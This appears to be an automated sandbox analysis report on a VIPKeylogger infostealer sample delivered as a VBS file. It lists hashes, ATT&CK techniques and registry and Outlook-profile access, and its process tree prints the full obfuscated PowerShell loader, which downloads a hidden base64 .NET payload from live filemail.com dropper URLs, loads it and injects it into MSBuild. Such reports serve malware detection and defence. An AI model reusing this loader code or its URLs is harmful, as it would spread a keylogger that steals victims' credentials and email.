vipkeylogger | 9b8e6b4547ae0f5a3e4af5a94282ccd5bcbb464dabe75ec564315cd768d25806

General

Target

MT103-8819006.DOCS.vbs
Size

13KB
MD5

a2dc941889770cb179129bf7cb89bdff
SHA1

08a0a77a3754e6bee435810785802e0d054ce46b
SHA256

9b8e6b4547ae0f5a3e4af5a94282ccd5bcbb464dabe75ec564315cd768d25806
SHA512

e5495fe46ac92d0e92913c750224435e013e62def24f32781802964b66ee343d5bb8724f337c478eabc428a59e42a955b5f1f879463b0d8bc45803720b062006
SSDEEP

192:REpO+HDu/0/Jutko/4jos+9/uHLGHRkfkX:REs+AftkW8p+9/urGHRk8X

Score

10^/10

vipkeylogger collection discovery execution keylogger stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://3105.filemail.com/api/file/get?filekey=shTPHbCPX8o-lOtCqHLG6_0xCy-xl4tnxlAVbQ95-dviTK5cARaNdQjbb3mexfwQzKmTXg&skipreg=true&pk_vid=e0109638c9bfb9571732531309b5ff7c

exe.dropper

https://3105.filemail.com/api/file/get?filekey=shTPHbCPX8o-lOtCqHLG6_0xCy-xl4tnxlAVbQ95-dviTK5cARaNdQjbb3mexfwQzKmTXg&skipreg=true&pk_vid=e0109638c9bfb9571732531309b5ff7c

Extracted

Family

vipkeylogger

Signatures

VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
stealer keylogger vipkeylogger
Vipkeylogger family
vipkeylogger

Blocklisted process makes network request 4 IoCs

Processes:

WScript.exepowershell.exe

flow	pid	Process
2	372	WScript.exe
5	372	WScript.exe
17	3360	powershell.exe
30	3360	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exe

pid	Process
4756	powershell.exe
3360	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WScript.exe

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

Processes:

MSBuild.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe
Key opened	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow	ioc
32	checkip.dyndns.org

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description	pid	Process	procid_target
PID 3360 set thread context of 3964	3360	powershell.exe	98

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

MSBuild.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	2	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	5	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

powershell.exepowershell.exeMSBuild.exe

pid	Process
4756	powershell.exe
4756	powershell.exe
3360	powershell.exe
3360	powershell.exe
3964	MSBuild.exe
3964	MSBuild.exe
3964	MSBuild.exe
3964	MSBuild.exe
3964	MSBuild.exe
3964	MSBuild.exe
3964	MSBuild.exe
3964	MSBuild.exe
3964	MSBuild.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exeMSBuild.exe

description	pid	Process
Token: SeDebugPrivilege	4756	powershell.exe
Token: SeDebugPrivilege	3360	powershell.exe
Token: SeDebugPrivilege	3964	MSBuild.exe

Suspicious use of WriteProcessMemory 13 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	Process	procid_target
PID 372 wrote to memory of 4756	372	WScript.exe	83
PID 372 wrote to memory of 4756	372	WScript.exe	83
PID 4756 wrote to memory of 3360	4756	powershell.exe	85
PID 4756 wrote to memory of 3360	4756	powershell.exe	85
PID 3360 wrote to memory of 3964	3360	powershell.exe	98
PID 3360 wrote to memory of 3964	3360	powershell.exe	98
PID 3360 wrote to memory of 3964	3360	powershell.exe	98
PID 3360 wrote to memory of 3964	3360	powershell.exe	98
PID 3360 wrote to memory of 3964	3360	powershell.exe	98
PID 3360 wrote to memory of 3964	3360	powershell.exe	98
PID 3360 wrote to memory of 3964	3360	powershell.exe	98
PID 3360 wrote to memory of 3964	3360	powershell.exe	98
PID 3360 wrote to memory of 3964	3360	powershell.exe	98

outlook_office_path 1 IoCs

Processes:

MSBuild.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

outlook_win_path 1 IoCs

Processes:

MSBuild.exe

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1045960512-3948844814-3059691613-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	MSBuild.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\MT103-8819006.DOCS.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'JiggJFNoRWxMaWRbMV0rJFNIZUxsSURbMTNdKydYJykoICgoJ1c4WicrJ2knKydtYWdlVXJsID0gZGpLaHR0cHM6Ly8zMTA1LmZpbGVtYWlsLmNvbS9hcGkvZmlsZS9nZXQ/ZmlsZWtleT1zaFRQSGJDUFg4by1sT3RDcUhMRzZfMHhDeS14bDR0bnhsQVZiUTk1LWR2aVRLNWNBUicrJ2FOZFFqYmIzbWV4ZndRekttVFhnJnNraXByZWc9dHJ1ZSZwa192aWQ9ZTAxMDk2MzgnKydjOWJmYjk1NzEnKyc3MzI1MzEzMDliNWZmN2MgZGpLO1c4WndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC4nKydXZWJDbGllbnQ7VzhaaW1hZ2VCeXRlcyA9IFc4WndlYkNsaWVudC5Eb3dubG9hZERhdGEoVzhaaW1hZ2VVcmwpO1c4WmltYWdlJysnVGV4dCA9IFtTeXN0ZW0uJysnVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaScrJ25nKFc4WmltYWdlQnl0ZXMpO1c4WnN0YXJ0RmxhZyA9IGRqSzw8QkFTRTY0X1NUQVJUPj5kaks7VzhaZW5kRmxhZyA9ICcrJ2RqSzw8QkFTRTY0X0VORD4+ZGpLO1c4WnN0YXJ0JysnSW5kJysnZXggPSBXOFppbWFnZVRleHQuSW5kZXhPZihXOFpzdGFydEZsYWcpO1c4WmVuZEluZGV4ID0gVzhaaW1hZ2VUZXgnKyd0LkluZGV4T2YoVzhaZW5kRmxhZyk7Vzhac3RhcnRJbmRleCAtZ2UgMCAtYW5kIFc4WmVuZEluZGV4IC1ndCBXOFpzdGFydEluZGV4O1cnKyc4WnN0YXJ0SW5kZXggKz0gVzhac3RhcnRGbGFnLicrJ0xlbmd0aDtXOFpiYXNlNjRMZW5ndGggPSBXOFplbmRJbmRleCAtIFc4WnN0YXJ0JysnSW5kZXg7VzhaYmFzZTY0Q29tbWFuZCA9IFc4WmltYWdlVGV4dCcrJy5TdWJzdHJpbmcoVzhac3RhcnRJbmRleCwgVzhaYmFzZTY0TGVuZ3RoKTtXOFonKydiYXNlNjRSZXZlcnNlZCcrJyA9JysnIC1qb2luIChXOFpiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgSWlIIEZvckVhY2gtT2JqZWN0IHsgVzhaXyB9KVstJysnMS4uJysnLShXOFpiYXNlNjRDb21tYW5kLkxlbmd0aCldO1c4WmNvbW1hbmRCeXRlcyAnKyc9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoVzhaYmFzZTY0UmV2ZXJzZWQpO1c4WmxvYWRlZEFzc2VtYicrJ2wnKyd5ID0gW1N5c3RlbS5SZWYnKydsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChXOFpjbycrJ21tJysnYW5kQnl0ZXMpO1c4WnZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoZGpLVkFJZGpLKTtXOFp2YWlNZXRob2QuSScrJ252b2tlKFc4Wm51bGwsIEAoZGpLdHh0LmNpdi9mZGgvcG90Lmtuc2NtbWxsaXJkLmxsaScrJ2IvLzpwdHRoZGpLLCBkaktkZXNhJysndGl2YWRvZGpLLCBkaksnKydkZXNhdGl2YWRvZGpLLCBkaktkZXNhdGl2YWRvZGpLLCBkaktNU0J1aWxkZGpLLCBkaktkZXNhdGl2YWRvZGpLLCBkaktkZXNhdGknKyd2YWRvZGpLLGRqS2Rlc2F0aXZhZG9kakssZGpLZGVzYXRpdmFkb2RqJysnSyxkaktkZXNhdCcrJ2l2YWRvZGpLLGRqS2Rlc2F0aXZhJysnZG9kakssZGpLZGVzYXRpJysndmEnKydkb2RqSyxkaksxZGpLLGRqS2RlJysnc2F0JysnaXZhZG9kaicrJ0spKTsnKS1yRXBMQUNlICAnVzhaJyxbY0hhcl0zNiAgLXJFcExBQ2UgIChbY0hhcl03MytbY0hhcl0xMDUrW2NIYXJdNzIpLFtjSGFyXTEyNC1yRXBMQUNlICdkaksnLFtjSGFyXTM5KSAp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4756
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "&( $ShElLid[1]+$SHeLlID[13]+'X')( (('W8Z'+'i'+'mageUrl = djKhttps://3105.filemail.com/api/file/get?filekey=shTPHbCPX8o-lOtCqHLG6_0xCy-xl4tnxlAVbQ95-dviTK5cAR'+'aNdQjbb3mexfwQzKmTXg&skipreg=true&pk_vid=e0109638'+'c9bfb9571'+'732531309b5ff7c djK;W8ZwebClient = New-Object System.Net.'+'WebClient;W8ZimageBytes = W8ZwebClient.DownloadData(W8ZimageUrl);W8Zimage'+'Text = [System.'+'Text.Encoding]::UTF8.GetStri'+'ng(W8ZimageBytes);W8ZstartFlag = djK<<BASE64_START>>djK;W8ZendFlag = '+'djK<<BASE64_END>>djK;W8Zstart'+'Ind'+'ex = W8ZimageText.IndexOf(W8ZstartFlag);W8ZendIndex = W8ZimageTex'+'t.IndexOf(W8ZendFlag);W8ZstartIndex -ge 0 -and W8ZendIndex -gt W8ZstartIndex;W'+'8ZstartIndex += W8ZstartFlag.'+'Length;W8Zbase64Length = W8ZendIndex - W8Zstart'+'Index;W8Zbase64Command = W8ZimageText'+'.Substring(W8ZstartIndex, W8Zbase64Length);W8Z'+'base64Reversed'+' ='+' -join (W8Zbase64Command.ToCharArray() IiH ForEach-Object { W8Z_ })[-'+'1..'+'-(W8Zbase64Command.Length)];W8ZcommandBytes '+'= [System.Convert]::FromBase64String(W8Zbase64Reversed);W8ZloadedAssemb'+'l'+'y = [System.Ref'+'lection.Assembly]::Load(W8Zco'+'mm'+'andBytes);W8ZvaiMethod = [dnlib.IO.Home].GetMethod(djKVAIdjK);W8ZvaiMethod.I'+'nvoke(W8Znull, @(djKtxt.civ/fdh/pot.knscmmllird.lli'+'b//:ptthdjK, djKdesa'+'tivadodjK, djK'+'desativadodjK, djKdesativadodjK, djKMSBuilddjK, djKdesativadodjK, djKdesati'+'vadodjK,djKdesativadodjK,djKdesativadodj'+'K,djKdesat'+'ivadodjK,djKdesativa'+'dodjK,djKdesati'+'va'+'dodjK,djK1djK,djKde'+'sat'+'ivadodj'+'K));')-rEpLACe 'W8Z',[cHar]36 -rEpLACe ([cHar]73+[cHar]105+[cHar]72),[cHar]124-rEpLACe 'djK',[cHar]39) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3360
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      Accesses Microsoft Outlook profiles
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      outlook_office_path
      outlook_win_path
      PID:3964

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

Query Registry

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Email Collection

1

T1114

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gftvuqrk.3eg.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3360-24-0x0000023756800000-0x0000023756958000-memory.dmp

Filesize
1.3MB

Download
memory/3964-36-0x0000000005730000-0x00000000057CC000-memory.dmp

Filesize
624KB

Download
memory/3964-39-0x00000000072B0000-0x00000000077DC000-memory.dmp

Filesize
5.2MB

Download
memory/3964-38-0x0000000006A50000-0x0000000006AA0000-memory.dmp

Filesize
320KB

Download
memory/3964-37-0x0000000006BB0000-0x0000000006D72000-memory.dmp

Filesize
1.8MB

Download
memory/3964-40-0x00000000078E0000-0x0000000007972000-memory.dmp

Filesize
584KB

Download
memory/3964-41-0x0000000007200000-0x000000000720A000-memory.dmp

Filesize
40KB

Download
memory/3964-34-0x0000000005BA0000-0x0000000006144000-memory.dmp

Filesize
5.6MB

Download
memory/3964-33-0x0000000005550000-0x00000000055A0000-memory.dmp

Filesize
320KB

Download
memory/3964-28-0x0000000000400000-0x0000000000437000-memory.dmp

Filesize
220KB

Download
memory/3964-25-0x0000000000400000-0x0000000000437000-memory.dmp

Filesize
220KB

Download
memory/3964-35-0x0000000005640000-0x000000000568E000-memory.dmp

Filesize
312KB

Download
memory/4756-22-0x00007FFC4AA13000-0x00007FFC4AA15000-memory.dmp

Filesize
8KB

Download
memory/4756-32-0x00007FFC4AA10000-0x00007FFC4B4D1000-memory.dmp

Filesize
10.8MB

Download
memory/4756-23-0x00007FFC4AA10000-0x00007FFC4B4D1000-memory.dmp

Filesize
10.8MB

Download
memory/4756-0-0x00007FFC4AA13000-0x00007FFC4AA15000-memory.dmp

Filesize
8KB

Download
memory/4756-12-0x00007FFC4AA10000-0x00007FFC4B4D1000-memory.dmp

Filesize
10.8MB

Download
memory/4756-11-0x00007FFC4AA10000-0x00007FFC4B4D1000-memory.dmp

Filesize
10.8MB

Download
memory/4756-6-0x0000013ED35A0000-0x0000013ED35C2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads